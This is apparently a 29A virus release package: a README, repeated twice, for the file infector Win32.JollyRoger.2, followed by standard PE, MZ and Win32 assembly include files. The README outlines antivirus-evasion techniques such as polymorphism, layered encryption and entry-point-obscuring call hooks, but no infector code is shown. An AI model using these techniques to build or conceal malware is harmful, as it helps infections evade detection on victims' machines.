Win32.JollyRoger.2 by ValleZ/29A

This is the second version of win32.jollyroger. I added some new characteristics that
should difficult detection for avs:

-Encryption layers will have different encryption methods.
-Improved polymorphism.
-Added a "crazy mode" of infection executed with a small probability where the virus will
enforce its own encryption and it will be more hide in the host binary.
-Removed simple infection, where the virus added two sections to the executable file,the
encrypted body in a section and the decryptor in other one.
-If there is enought space in the file the virus will add a brigde of code from the EPO
hooked call to the own virus (the brigde will be in the cavity zone from end of first
section and start of second one). Doing this the hooked call will not be so suspicious
(before the call was pointing to a point near the end of the image). Ofcorz the brigde's
code will be mutable too.
-Selection of hooked call is more random now, its possible to hook the first call found
int the .text section or other one near the end of the section. Its completely random.

README.TXT

This is the second version of win32.jollyroger. I added some new characteristics that
should difficult detection for avs:

-Encryption layers will have different encryption methods.
-Improved polymorphism.
-Added a "crazy mode" of infection executed with a small probability where the virus will
enforce its own encryption and it will be more hide in the host binary.
-Removed simple infection, where the virus added two sections to the executable file,the
encrypted body in a section and the decryptor in other one.
-If there is enought space in the file the virus will add a brigde of code from the EPO
hooked call to the own virus (the brigde will be in the cavity zone from end of first
section and start of second one). Doing this the hooked call will not be so suspicious
(before the call was pointing to a point near the end of the image). Ofcorz the brigde's
code will be mutable too.
-Selection of hooked call is more random now, its possible to hook the first call found
int the .text section or other one near the end of the section. Its completely random.

PE.INC

```
;
;                          . .: .:.. :.. .. .:.::. :. ..:
;                        <<-==ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛÛ===<
;                         .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
;                         . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
;                          ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
;                         >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
;                        .: .:.. ..:. .: ..:.::. ::.. :.:.
;
;                                [29A INC files]
;                           Portable Executable format
;                              by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains all the constantz and structurez needed to work
; with the PE (Portable Executable) format from inside ASM filez. For exclu-
; sive use with TASM(32), of course. MASM sucks.. :P
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.


; ÄÄ´ Based relocation type valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_REL_BASED_ABSOLUTE      EQU   0
IMAGE_REL_BASED_HIGH          EQU   1
IMAGE_REL_BASED_LOW           EQU   2
IMAGE_REL_BASED_HIGHLOW       EQU   3
IMAGE_REL_BASED_HIGHADJ       EQU   4
IMAGE_REL_BASED_MIPS_JMPADDR  EQU   5

IMAGE_RELOCATION_DATA   RECORD      {
    RD_RelocType        :4
    RD_RelocOffset      :12
}

IMAGE_BASE_RELOCATION   STRUC
    BR_VirtualAddress   DD    ?
    BR_SizeOfBlock      DD    ?
;   BR_TypeOffset       IMAGE_RELOCATION_DATA 1 DUP (?)   ; Array of zero or
more relocations (type + RVAs)
IMAGE_BASE_RELOCATION   ENDS

IMAGE_SIZEOF_BASE_RELOCATION  EQU   SIZE  IMAGE_BASE_RELOCATION   ; 8

IMAGE_IMPORT_BY_NAME    STRUC
    IBN_Hint            DW    ?
    IBN_Name            DB    1 DUP (?)   ; ASCIIZ function name (variable size)
IMAGE_IMPORT_BY_NAME    ENDS

IMAGE_ORDINAL_FLAG      EQU   80000000h

IMAGE_THUNK_DATA        STRUC
                        UNION
    TD_AddressOfData    DD    IMAGE_IMPORT_BY_NAME PTR ?    ; Ptr to
IMAGE_IMPORT_BY_NAME structure
```

```
    TD_Ordinal          DD    ?                             ; Ordinal ORed with
IMAGE_ORDINAL_FLAG
    TD_Function         DD    BYTE PTR ?  ; CODE PTR        ; Ptr to function
(i.e. Function address after program load)
    TD_ForwarderString  DD    BYTE PTR ?                    ; Ptr to a forwarded
API function.
                        ENDS
IMAGE_THUNK_DATA        ENDS

; ÄÄ´ Import format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_IMPORT_DESCRIPTOR       STRUC
                              UNION
    ID_Characteristics        DD    ?                       ; 0 for terminating
null import descriptor
    ID_OriginalFirstThunk     DD    IMAGE_THUNK_DATA PTR ?  ; RVA to original
unbound IAT
                              ENDS
    ID_TimeDateStamp          DD    ?     ; 0 if not bound,
                                          ; -1 if bound, and real date\time
stamp
                                          ;     in
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                          ; O.W. date/time stamp of DLL bound to
(Old BIND)
    ID_ForwarderChain         DD    ?           ; -1 if no forwarders
    ID_Name                   DD    BYTE PTR ?              ; RVA to name of
imported DLL
    ID_FirstThunk             DD    IMAGE_THUNK_DATA PTR ?  ; RVA to IAT (if
bound this IAT has actual addresses)
IMAGE_IMPORT_DESCRIPTOR       ENDS

IMAGE_SIZEOF_IMPORT_DESCRIPTOR      EQU   SIZE IMAGE_IMPORT_DESCRIPTOR

; ÄÄ´ Export format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_EXPORT_DIRECTORY        STRUC
    ED_Characteristics        DD    ?
    ED_TimeDateStamp          DD    ?
    ED_MajorVersion           DW    ?
    ED_MinorVersion           DW    ?
    ED_Name                   DD    BYTE PTR ?  ; Ptr to name of exported DLL
                              UNION
    ED_Base                   DD    ?
    ED_BaseOrdinal            DD    ?
                              ENDS
    ED_NumberOfFunctions      DD    ?
                              UNION
    ED_NumberOfNames          DD    ?
    ED_NumberOfOrdinals       DD    ?
                              ENDS
    ED_AddressOfFunctions     DD    DWORD PTR ? ; Ptr to array of function
addresses
    ED_AddressOfNames         DD    DWORD PTR ; Ptr to array of (function)
name addresses
                              UNION
    ED_AddressOfNameOrdinals  DD    WORD PTR ?  ; Ptr to array of ordinals
    ED_AddressOfOrdinals      DD    WORD PTR ?  ;
                              ENDS
IMAGE_EXPORT_DIRECTORY        ENDS

IMAGE_SIZEOF_EXPORT_DIRECTORY EQU   SIZE IMAGE_EXPORT_DIRECTORY

; ÄÄ´ SH_Characteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;MAGE_SCN_TYPE_REG               EQU  00000000h ; Reserved
;MAGE_SCN_TYPE_REGULAR           EQU  00000000h ; Reserved
;MAGE_SCN_TYPE_DSECT             EQU  00000001h ; Reserved
```

```
;MAGE_SCN_TYPE_DUMMY             EQU  00000001h ; Reserved
;MAGE_SCN_TYPE_NOLOAD            EQU  00000002h ; Reserved
;MAGE_SCN_TYPE_NO_LOAD           EQU  00000002h ; Reserved
;MAGE_SCN_TYPE_GROUP             EQU  00000004h ; Reserved. Used for 16-bit
offset code
;MAGE_SCN_TYPE_GROUPED           EQU  00000004h ; Reserved. Used for 16-bit
offset code
IMAGE_SCN_TYPE_NO_PAD            EQU  00000008h ; Reserved
;MAGE_SCN_TYPE_COPY              EQU  00000010h ; Reserved
IMAGE_SCN_CNT_CODE               EQU  00000020h ; Section contains code.
IMAGE_SCN_CNT_INITIALIZED_DATA   EQU  00000040h ; Section contains initialized
data.
IMAGE_SCN_CNT_UNINITIALIZED_DATA EQU  00000080h ; Section contains uninitialized
data.
IMAGE_SCN_LNK_OTHER              EQU  00000100h ; Reserved.
IMAGE_SCN_LNK_INFO               EQU  00000200h ; Section contains comments or
some other type of information.
;MAGE_SCN_TYPE_OVER              EQU  00000400h ; Reserved. Section contains an
overlay.
;MAGE_SCN_LNK_OVERLAY            EQU  00000400h ; Reserved. Section contains an
overlay.
IMAGE_SCN_LNK_REMOVE             EQU  00000800h ; Section contents will not
become part of image.
IMAGE_SCN_LNK_COMDAT             EQU  00001000h ; Section contents comdat.
;                                EQU  00002000h ; Reserved.
;MAGE_SCN_MEM_PROTECTED          EQU  00004000h ; Obsolete.
IMAGE_SCN_MEM_FARDATA            EQU  00008000h
;MAGE_SCN_MEM_SYSHEAP            EQU  00010000h ; Obsolete.
IMAGE_SCN_MEM_PURGEABLE          EQU  00020000h
IMAGE_SCN_MEM_16BIT              EQU  00020000h
IMAGE_SCN_MEM_LOCKED             EQU  00040000h
IMAGE_SCN_MEM_PRELOAD            EQU  00080000h
IMAGE_SCN_ALIGN_1BYTES           EQU  00100000h
IMAGE_SCN_ALIGN_2BYTES           EQU  00200000h
IMAGE_SCN_ALIGN_4BYTES           EQU  00300000h
IMAGE_SCN_ALIGN_8BYTES           EQU  00400000h
IMAGE_SCN_ALIGN_16BYTES          EQU  00500000h ; Default alignment if no others
are specified.
IMAGE_SCN_ALIGN_32BYTES          EQU  00600000h
IMAGE_SCN_ALIGN_64BYTES          EQU  00700000h
;                                EQU  00800000h ; Unused.
IMAGE_SCN_LNK_NRELOC_OVFL        EQU  01000000h ; Section contains extended
relocations.
IMAGE_SCN_MEM_DISCARDABLE        EQU  02000000h ; Section can be discarded.
IMAGE_SCN_MEM_NOT_CACHED         EQU  04000000h ; Section is not cachable.
IMAGE_SCN_MEM_NOT_PAGED          EQU  08000000h ; Section is not pageable.
IMAGE_SCN_MEM_SHARED             EQU  10000000h ; Section is shareable.
IMAGE_SCN_MEM_EXECUTE            EQU  20000000h ; Section is executable.
IMAGE_SCN_MEM_READ               EQU  40000000h ; Section is readable.
IMAGE_SCN_MEM_WRITE              EQU  80000000h ; Section is writeable.

IMAGE_SIZEOF_SHORT_NAME          EQU  8

; ÄÄ´ Section header format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_SECTION_HEADER          STRUC
    SH_Name                   DB    IMAGE_SIZEOF_SHORT_NAME DUP (?)
                              UNION
    SH_PhysicalAddress        DD    BYTE PTR ?
    SH_VirtualSize            DD    ?
                              ENDS
    SH_VirtualAddress         DD    BYTE PTR ?
    SH_SizeOfRawData          DD    ?
    SH_PointerToRawData       DD    BYTE PTR ?
    SH_PointerToRelocations   DD    BYTE PTR ?
    SH_PointerToLinenumbers   DD    BYTE PTR ?
    SH_NumberOfRelocations    DW    ?
    SH_NumberOfLinenumbers    DW    ?
```

```
    SH_Characteristics        DD    ?
IMAGE_SECTION_HEADER          ENDS

IMAGE_SIZEOF_SECTION_HEADER   EQU   SIZE IMAGE_SECTION_HEADER

; ÄÄ´ OH_DataDirectory index valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_DIRECTORY_ENTRY_EXPORT        EQU   0     ; Export Directory
IMAGE_DIRECTORY_ENTRY_IMPORT        EQU   1     ; Import Directory
IMAGE_DIRECTORY_ENTRY_RESOURCE      EQU   2     ; Resource Directory
IMAGE_DIRECTORY_ENTRY_EXCEPTION     EQU   3     ; Exception Directory
IMAGE_DIRECTORY_ENTRY_SECURITY      EQU   4     ; Security Directory
IMAGE_DIRECTORY_ENTRY_BASERELOC     EQU   5     ; Base Relocation Table
IMAGE_DIRECTORY_ENTRY_DEBUG         EQU   6     ; Debug Directory
IMAGE_DIRECTORY_ENTRY_COPYRIGHT     EQU   7     ; Description String
IMAGE_DIRECTORY_ENTRY_GLOBALPTR     EQU   8     ; Machine Value (MIPS GP)
IMAGE_DIRECTORY_ENTRY_TLS           EQU   9     ; TLS Directory
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG   EQU   10    ; Load Configuration Directory
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT  EQU   11    ; Bound Import Directory in
headers
IMAGE_DIRECTORY_ENTRY_IAT           EQU   12    ; Import Address Table

IMAGE_NUMBEROF_DIRECTORY_ENTRIES    EQU   16

; ÄÄ´ OH_DataDirectory format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_DATA_DIRECTORY    STRUC
    DD_VirtualAddress   DD    BYTE PTR ?
    DD_Size             DD    ?
IMAGE_DATA_DIRECTORY    ENDS

IMAGE_DIRECTORY_ENTRIES STRUC
    DE_Export           IMAGE_DATA_DIRECTORY    ?
    DE_Import           IMAGE_DATA_DIRECTORY    ?
    DE_Resource         IMAGE_DATA_DIRECTORY    ?
    DE_Exception        IMAGE_DATA_DIRECTORY    ?
    DE_Security         IMAGE_DATA_DIRECTORY    ?
    DE_BaseReloc        IMAGE_DATA_DIRECTORY    ?
    DE_Debug            IMAGE_DATA_DIRECTORY    ?
    DE_Copyright        IMAGE_DATA_DIRECTORY    ?
    DE_GlobalPtr        IMAGE_DATA_DIRECTORY    ?
    DE_TLS              IMAGE_DATA_DIRECTORY    ?
    DE_LoadConfig       IMAGE_DATA_DIRECTORY    ?
    DE_BoundImport      IMAGE_DATA_DIRECTORY    ?
    DE_IAT              IMAGE_DATA_DIRECTORY    ?
IMAGE_DIRECTORY_ENTRIES ENDS

; ÄÄ´ OH_LoaderFlags valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;MAGE_LOADER_FLAGS_BREAK_ON_LOAD    EQU   00000001h
;MAGE_LOADER_FLAGS_DEBUG_ON_LOAD    EQU   00000002h

; ÄÄ´ OH_DllCharacteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;MAGE_LIBRARY_PROCESS_INIT    EQU   1     ; Dll has a process initialization
routine
;MAGE_LIBRARY_PROCESS_TERM    EQU   2     ; Dll has a thread termination routine
;MAGE_LIBRARY_THREAD_INIT     EQU   4     ; Dll has a thread initialization
routine
;MAGE_LIBRARY_THREAD_TERM     EQU   8     ; Dll has a thread termination routine

; ÄÄ´ OH_Subsystem Valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_SUBSYSTEM_UNKNOWN       EQU   0     ; Unknown subsystem
IMAGE_SUBSYSTEM_NATIVE        EQU   1     ; Image doesn't require a subsystem
IMAGE_SUBSYSTEM_WINDOWS_GUI   EQU   2     ; Image runs in the Windows GUI
subsystem
IMAGE_SUBSYSTEM_WINDOWS_CUI   EQU   3     ; Image runs in the Windows character
```

```
subsystem
IMAGE_SUBSYSTEM_OS2_CUI       EQU   5     ; Image runs in the OS/2 character
subsystem
IMAGE_SUBSYSTEM_POSIX_CUI     EQU   7     ; Image run  in the Posix character
subsystem

; ÄÄ´ OH_Magic value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_NT_OPTIONAL_HDR_MAGIC   EQU   10Bh

; ÄÄ´ Optional header format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_OPTIONAL_HEADER               STRUC
 ; Standard fields:
    OH_Magic                        DW    ?
    OH_MajorLinkerVersion           DB    ?
    OH_MinorLinkerVersion           DB    ?
    OH_SizeOfCode                   DD    ?
    OH_SizeOfInitializedData        DD    ?
    OH_SizeOfUninitializedData      DD    ?
    OH_AddressOfEntryPoint          DD    BYTE PTR ?
    OH_BaseOfCode                   DD    BYTE PTR ?
    OH_BaseOfData                   DD    BYTE PTR ?
 ; NT additional fields:
    OH_ImageBase                    DD    BYTE PTR ?
    OH_SectionAlignment             DD    ?
    OH_FileAlignment                DD    ?
    OH_MajorOperatingSystemVersion  DW    ?
    OH_MinorOperatingSystemVersion  DW    ?
    OH_MajorImageVersion            DW    ?
    OH_MinorImageVersion            DW    ?
    OH_MajorSubsystemVersion        DW    ?
    OH_MinorSubsystemVersion        DW    ?
    OH_Reserved1                    DD    ?
    OH_SizeOfImage                  DD    ?
    OH_SizeOfHeaders                DD    ?
    OH_CheckSum                     DD    ?
    OH_Subsystem                    DW    ?
    OH_DllCharacteristics           DW    ?
    OH_SizeOfStackReserve           DD    ?
    OH_SizeOfStackCommit            DD    ?
    OH_SizeOfHeapReserve            DD    ?
    OH_SizeOfHeapCommit             DD    ?
    OH_LoaderFlags                  DD    ?
    OH_NumberOfRvaAndSizes          DD    ?
                                    UNION
    OH_DataDirectory                IMAGE_DATA_DIRECTORY    \
                                      IMAGE_NUMBEROF_DIRECTORY_ENTRIES \
                                      DUP (?)
    OH_DirectoryEntries             IMAGE_DIRECTORY_ENTRIES ?
                                    ENDS
IMAGE_OPTIONAL_HEADER               ENDS

IMAGE_SIZEOF_STD_OPTIONAL_HEADER    EQU   28d
IMAGE_SIZEOF_NT_OPTIONAL_HEADER     EQU   SIZE IMAGE_OPTIONAL_HEADER

; ÄÄ´ FH_Characteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_FILE_RELOCS_STRIPPED     EQU 0001h ; Relocation info stripped from file
IMAGE_FILE_EXECUTABLE_IMAGE    EQU 0002h ; File is executable  (i.e. no
unresolved external references)
IMAGE_FILE_LINE_NUMS_STRIPPED  EQU 0004h ; Line numbers stripped from file
IMAGE_FILE_LOCAL_SYMS_STRIPPED EQU 0008h ; Local symbols stripped from file
;MAGE_FILE_MINIMAL_OBJECT      EQU 0010h ; Reserved
;MAGE_FILE_UPDATE_OBJECT       EQU 0020h ; Reserved
;MAGE_FILE_16BIT_MACHINE       EQU 0040h ; 16 bit word machine
IMAGE_FILE_BYTES_REVERSED_LO   EQU 0080h ; Bytes of machine word are reversed
IMAGE_FILE_32BIT_MACHINE       EQU 0100h ; 32 bit word machine
```

```
IMAGE_FILE_DEBUG_STRIPPED      EQU 0200h ; Debugging info stripped from file in
.DBG file
;MAGE_FILE_PATCH               EQU 0400h ; Reserved
IMAGE_FILE_SYSTEM              EQU 1000h ; System File
IMAGE_FILE_DLL                 EQU 2000h ; File is a DLL
IMAGE_FILE_BYTES_REVERSED_HI   EQU 8000h ; Bytes of machine word are reversed

; ÄÄ´ FH_Machine valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_FILE_MACHINE_UNKNOWN    EQU   0
IMAGE_FILE_MACHINE_I386       EQU   14Ch ; Intel 386
IMAGE_FILE_MACHINE_R3000      EQU   162h ; MIPS L-endian, 0160h B-endian
IMAGE_FILE_MACHINE_R4000      EQU   166h ; MIPS L-endian
IMAGE_FILE_MACHINE_R10000     EQU   168h ; MIPS L-endian
IMAGE_FILE_MACHINE_ALPHA      EQU   184h ; Alpha_AXP
IMAGE_FILE_MACHINE_POWERPC    EQU   1F0h ; IBM PowerPC L-Endian

IMAGE_FILE_HEADER             STRUC
    FH_Machine                DW    ?
    FH_NumberOfSections       DW    ?
    FH_TimeDateStamp          DD    ?
    FH_PointerToSymbolTable   DD    BYTE PTR ?
    FH_NumberOfSymbols        DD    ?
    FH_SizeOfOptionalHeader   DW    ?
    FH_Characteristics        DW    ?
IMAGE_FILE_HEADER             ENDS

IMAGE_SIZEOF_FILE_HEADER      EQU   SIZE IMAGE_FILE_HEADER

; ÄÄ´ NT_Signature value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_NT_SIGNATURE      EQU   00004550h   ; 'PE',0,0

IMAGE_NT_HEADERS        STRUC
    NT_Signature        DD                      ?
    NT_FileHeader       IMAGE_FILE_HEADER       ?
    NT_OptionalHeader   IMAGE_OPTIONAL_HEADER   ?
IMAGE_NT_HEADERS        ENDS


---------------------------------
---------------------------------
---------------------------------
---------------------------------


MZ.INC
------

;
;                        . .:  .:.. :.. ..  .:.:. :. ..:
;                      <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
;                       .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
;                       . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
;                        ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
;                       >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
;                      .: .:.. ..:. .: ..:.::. ::.. :.:.
;
;                              [29A INC files]
;                         DOS EXE MZ executable format
;                             by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains all the constantz and structurez needed to work
; with the DOS EXE MZ executable format inside ASM filez. For use with TASM,
; of course (also with TASM32). MASM sucks.. :P
;
```

```
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.


; ÄÄ´ MZ_magic value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_DOS_SIGNATURE     EQU   5A4Dh ;'MZ'

IMAGE_DOS_HEADER  STRUC
    MZ_magic      DW    ?           ; Magic number
    MZ_cblp       DW    ?           ; Bytes on last page of file
    MZ_cp         DW    ?           ; Pages in file
    MZ_crlc       DW    ?           ; Relocations
    MZ_cparhdr    DW    ?           ; Size of header in paragraphs
    MZ_minalloc   DW    ?           ; Minimum extra paragraphs needed
    MZ_maxalloc   DW    ?           ; Maximum extra paragraphs needed
    MZ_ss         DW    ?           ; Initial (relative) SS value
    MZ_sp         DW    ?           ; Initial SP value
    MZ_csum       DW    ?           ; Checksum
    MZ_ip         DW    ?           ; Initial IP value
    MZ_cs         DW    ?           ; Initial (relative) CS value
    MZ_lfarlc     DW    ?           ; File address of relocation table
    MZ_ovno       DW    ?           ; Overlay number
    MZ_res        DW    4 DUP (?)   ; Reserved words
    MZ_oemid      DW    ?           ; OEM identifier (for e_oeminfo)
    MZ_oeminfo    DW    ?           ; OEM information; e_oemid specific
    MZ_res2       DW    10 DUP (?)  ; Reserved words
    MZ_lfanew     DD    ?           ; File address of new exe header
IMAGE_DOS_HEADER  ENDS

IMAGE_SIZEOF_DOS_HEADER EQU   SIZE  IMAGE_DOS_HEADER


---------------------------------
---------------------------------
---------------------------------
---------------------------------


WIN32API.INC
------------

;
;                        . .:  .:.. :.. ..  .:.:. :. ..:
;                     <<-==ÛÛÛÛÛÛÛÛ=ÛÛÛÛÛÛÛÛ=ÛÛÛÛÛÛÛÛ===<
;                      .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
;                      . .:.ÜÜÜÜÛÛß.ßÛÛÛÛÛÛÛ.ÛÛÛÛÛÛÛÛ:..
;                       ...ÛÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛÛ:ÛÛÛ ÛÛÛ.::.
;                      >===ÛÛÛÛÛÛÛÛ=ÛÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
;                     .: .:.. ..:. .: ..:.::. ::.. :.:.
;
;                              [29A INC files]
;                          Win32 API definitionz
;                           by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains some  of the constantz and structurez needed to
; work with typical Win32 API functionz from inside ASM filez. This file can
; work only with TASM(32), of course. MASM sucks.. :P
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
```

```
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.


; ÄÄ´ Some global constantz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

NULL                            EQU     0
FALSE                           EQU     0
TRUE                            EQU     1
MAX_PATH                        EQU     260
INVALID_HANDLE_VALUE            EQU     -1
STANDARD_RIGHTS_REQUIRED        EQU     000F0000h

; ÄÄ´ Desired access valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

GENERIC_READ                    EQU     80000000h
GENERIC_WRITE                   EQU     40000000h

; ÄÄ´ Share mode valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

FILE_SHARE_READ                 EQU     00000001h
FILE_SHARE_WRITE                EQU     00000002h

; ÄÄ´ Creation disposition valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

CREATE_NEW                      EQU     1
CREATE_ALWAYS                   EQU     2
OPEN_EXISTING                   EQU     3
OPEN_ALWAYS                     EQU     4
TRUNCATE_EXISTING               EQU     5

; ÄÄ´ File attributez and flag valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

FILE_ATTRIBUTE_READONLY         EQU     00000001h
FILE_ATTRIBUTE_HIDDEN           EQU     00000002h
FILE_ATTRIBUTE_SYSTEM           EQU     00000004h
FILE_ATTRIBUTE_DIRECTORY        EQU     00000010h
FILE_ATTRIBUTE_ARCHIVE          EQU     00000020h
FILE_ATTRIBUTE_NORMAL           EQU     00000080h
FILE_ATTRIBUTE_TEMPORARY        EQU     00000100h
FILE_ATTRIBUTE_ATOMIC_WRITE     EQU     00000200h
FILE_ATTRIBUTE_XACTION_WRITE    EQU     00000400h
FILE_ATTRIBUTE_COMPRESSED       EQU     00000800h
FILE_ATTRIBUTE_HAS_EMBEDDING    EQU     00001000h

FILE_FLAG_POSIX_SEMANTICS       EQU     01000000h
FILE_FLAG_BACKUP_SEMANTICS      EQU     02000000h
FILE_FLAG_DELETE_ON_CLOSE       EQU     04000000h
FILE_FLAG_SEQUENTIAL_SCAN       EQU     08000000h
FILE_FLAG_RANDOM_ACCESS         EQU     10000000h
FILE_FLAG_NO_BUFFERING          EQU     20000000h
FILE_FLAG_OVERLAPPED            EQU     40000000h
FILE_FLAG_WRITE_THROUGH         EQU     80000000h

; ÄÄ´ Protection and other valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

SECTION_QUERY                   EQU     00000001h
SECTION_MAP_WRITE               EQU     00000002h
SECTION_MAP_READ                EQU     00000004h
SECTION_MAP_EXECUTE             EQU     00000008h
SECTION_EXTEND_SIZE             EQU     00000010h

SECTION_ALL_ACCESS              EQU     STANDARD_RIGHTS_REQUIRED OR \
                                        SECTION_QUERY            OR \
                                        SECTION_MAP_WRITE        OR \
```

```
                                    SECTION_MAP_READ         OR \
                                    SECTION_MAP_EXECUTE      OR \
                                    SECTION_EXTEND_SIZE

FILE_MAP_COPY                   EQU     SECTION_QUERY
FILE_MAP_WRITE                  EQU     SECTION_MAP_WRITE
FILE_MAP_READ                   EQU     SECTION_MAP_READ
FILE_MAP_ALL_ACCESS             EQU     SECTION_ALL_ACCESS

PAGE_NOACCESS                   EQU     00000001h
PAGE_READONLY                   EQU     00000002h
PAGE_READWRITE                  EQU     00000004h
PAGE_WRITECOPY                  EQU     00000008h
PAGE_EXECUTE                    EQU     00000010h
PAGE_EXECUTE_READ               EQU     00000020h
